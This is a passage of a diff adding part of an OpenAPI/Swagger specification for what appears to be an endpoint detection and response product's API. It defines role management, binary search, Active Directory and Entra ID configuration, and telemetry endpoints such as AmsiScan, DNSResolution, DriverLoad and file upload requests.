+            $ref: '#/definitions/_GroupID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: group or role not found
+      tags:
+        - user
+  /data/role/{id}/add_users/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_add_users
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UserID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: role or user not found
+      tags:
+        - user
+  /data/role/{id}/download_yaml/:
+    get:
+      description: ""
+      operationId: data_role_download_yaml
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/role/{id}/permissions/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_permissions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PermissionUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: role not found
+      tags:
+        - user
+  /data/role/{id}/remove_groups/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_remove_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_GroupID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: group or role not found
+      tags:
+        - user
+  /data/role/{id}/remove_users/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_remove_users
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UserID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: role or user not found
+      tags:
+        - user
+  /data/role/{id}/updatePerm/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: ""
+      operationId: data_role_updatePerm
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Role'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+  /data/role/{id}/update_permissions/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: ""
+      operationId: data_role_update_permissions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Permissions'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: group or role not found
+      tags:
+        - user
+  /data/role/{id}/update_users/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: |-
+        The users in the request that are missing from the role will be added,
+        and the users in the role that aren't in the request will be removed.
+        If the list is empty, all users will be removed from the group.
+        If a user is already in a group, it will be removed.
+      operationId: data_role_update_users
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UserID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+        "404":
+          description: role or user not found
+      summary: Set the members of a role.
+      tags:
+        - user
+  /data/search/FindProcessesByNetwork/:
+    get:
+      description: ""
+      operationId: data_search_FindProcessesByNetwork_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - search
+    parameters: []
+  /data/search/Search/:
+    get:
+      description: ""
+      operationId: data_search_Search_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - search
+    parameters: []
+  /data/search/Search/explorer/:
+    get:
+      description: Endpoint to retrieve data by a value.
+      operationId: data_search_Search_explorer
+      parameters:
+        - enum:
+            - hash
+            - name
+            - path
+            - root_thumbprint
+            - signer_thumbprint
+          in: query
+          name: type
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: value
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Search'
+      tags:
+        - search
+    parameters: []
+  /data/search/Search/explorer/export/:
+    get:
+      description: Export csv containing binaries matching a value.
+      operationId: data_search_Search_explorer_explorer_export
+      parameters:
+        - enum:
+            - hash
+            - name
+            - path
+            - root_thumbprint
+            - signer_thumbprint
+          in: query
+          name: type
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: value
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/Search'
+            type: array
+      tags:
+        - search
+    parameters: []
+  /data/search/Search/explorer_with_list/:
+    get:
+      description: Endpoint to retrieve data by multiple values.
+      operationId: data_search_Search_explorer_with_list
+      parameters:
+        - enum:
+            - hash
+            - name
+            - path
+            - root_thumbprint
+            - signer_thumbprint
+          in: query
+          name: type
+          required: true
+          type: string
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: values
+          required: true
+          type: array
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ExplorerListResponse'
+      tags:
+        - search
+    parameters: []
+  /data/supervisor_config/tenant/{tenant}/active_directory/:
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ActiveDirectory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/active_directory/domain/:
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_domain
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Domain'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /data/supervisor_config/tenant/{tenant}/active_directory/domain_controllers/:
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_domain_controllers
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: dnsdomainname
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_DomainController'
+            type: array
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /data/supervisor_config/tenant/{tenant}/active_directory/force_scan_domain_controllers/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_force_scan_domain_controllers
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/active_directory/test/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/active_directory/{id}/:
+    delete:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - supervisor_configuration
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - supervisor_configuration
+    put:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/active_directory/{id}/force_scan/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_force_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/active_directory/{id}/force_update_agent_groups/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_active_directory_force_update_agent_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/entra_id/:
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/EntraId'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/entra_id/test/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/entra_id/{id}/:
+    delete:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - supervisor_configuration
+    get:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - supervisor_configuration
+    put:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/entra_id/{id}/force_scan/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_force_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/supervisor_config/tenant/{tenant}/entra_id/{id}/force_update_agent_groups/:
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_supervisor_config_tenant_entra_id_force_update_agent_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - supervisor_configuration
+  /data/telemetry/AmsiScan/:
+    get:
+      description: ""
+      operationId: data_telemetry_AmsiScan_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AmsiScan'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/AmsiScan/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_AmsiScan_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/AmsiScan/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_AmsiScan_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AmsiScan'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Binary/:
+    get:
+      description: ""
+      operationId: data_telemetry_Binary_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Binary'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Binary/download/{hash}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Binary_download
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: archived
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: File Attachment
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: hash
+        required: true
+        type: string
+  /data/telemetry/Binary/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Binary_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Binary/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Binary_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Binary'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Binary/{id}/upload/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    put:
+      description: ""
+      operationId: data_telemetry_Binary_upload
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Binary'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Binary'
+      tags:
+        - telemetry
+  /data/telemetry/DNSResolution/:
+    get:
+      description: ""
+      operationId: data_telemetry_DNSResolution_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DNSResolution'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/DNSResolution/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_DNSResolution_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/DNSResolution/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_DNSResolution_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DNSResolution'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/DriverLoad/:
+    get:
+      description: ""
+      operationId: data_telemetry_DriverLoad_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DriverLoad'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/DriverLoad/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_DriverLoad_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/DriverLoad/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_DriverLoad_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverLoad'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/EventLog/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: data_telemetry_EventLog_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/EventLog'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/EventLog/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_EventLog_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/EventLog/{id}/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: data_telemetry_EventLog_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventLog'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/File/:
+    get:
+      description: ""
+      operationId: data_telemetry_File_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/File'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/File/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_File_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/File/is_available/{sha256}/:
+    get:
+      description: |2
+            Check if file is available for download on client or uploadable to S3.
+            the check for uploadability to S3 only happens if the file is not already uploaded to S3
+
+            possible file_availability values : {
+          "0": "NO_ERROR",
+          "1": "NO_TELEMETRY_FOUND",
+          "2": "NO_CONNECTED_AGENTS",
+          "3": "ALREADY_DOWNLOADED",
+          "4": "FILE_MISSING",
+          "5": "AGENT_NOT_PROVIDED",
+          "6": "AGENT_NOT_FOUND",
+          "7": "NOT_DOWNLOADED",
+          "8": "FILE_TOO_BIG",
+          "9": "NO_PERMISSION",
+          "255": "UNKNOWN_ERROR"
+        }
+
+            possible downloaded values : {
+          "-1": "NOT_DOWNLOADED",
+          "0": "DOWNLOAD_OK",
+          "1": "FILE_NOT_FOUND",
+          "2": "OPEN_FAILED",
+          "3": "FILE_TOO_BIG",
+          "255": "UNKNOWN_ERROR"
+        }
+      operationId: data_telemetry_File_is_file_available
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FileAvailability'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: sha256
+        required: true
+        type: string
+  /data/telemetry/File/request_upload/:
+    parameters: []
+    post:
+      description: |2
+            Request file upload to S3 from a specific agent with a specific path.
+
+            possible file_availability values : {
+          "0": "NO_ERROR",
+          "1": "NO_TELEMETRY_FOUND",
+          "2": "NO_CONNECTED_AGENTS",
+          "3": "ALREADY_DOWNLOADED",
+          "4": "FILE_MISSING",
+          "5": "AGENT_NOT_PROVIDED",
+          "6": "AGENT_NOT_FOUND",
+          "7": "NOT_DOWNLOADED",
+          "8": "FILE_TOO_BIG",
+          "9": "NO_PERMISSION",
+          "255": "UNKNOWN_ERROR"
+        }
+      operationId: data_telemetry_File_request_file_upload_by_path
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PathDownloadRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DownloadRequestResponse'
+      tags:
+        - telemetry
+  /data/telemetry/File/request_upload/{sha256}/:
+    parameters:
+      - in: path
+        name: sha256
+        required: true
+        type: string
+    post:
+      description: |2
+            Request upload of file to S3 from its sha256.
+            The file needs to either :
+             - have been seen by a telemetry or security event linked to an online agent
+             - have been quarantined on an online agent
+            possible file_availability values : {
+          "0": "NO_ERROR",
+          "1": "NO_TELEMETRY_FOUND",
+          "2": "NO_CONNECTED_AGENTS",
+          "3": "ALREADY_DOWNLOADED",
+          "4": "FILE_MISSING",
+          "5": "AGENT_NOT_PROVIDED",
+          "6": "AGENT_NOT_FOUND",
+          "7": "NOT_DOWNLOADED",
+          "8": "FILE_TOO_BIG",
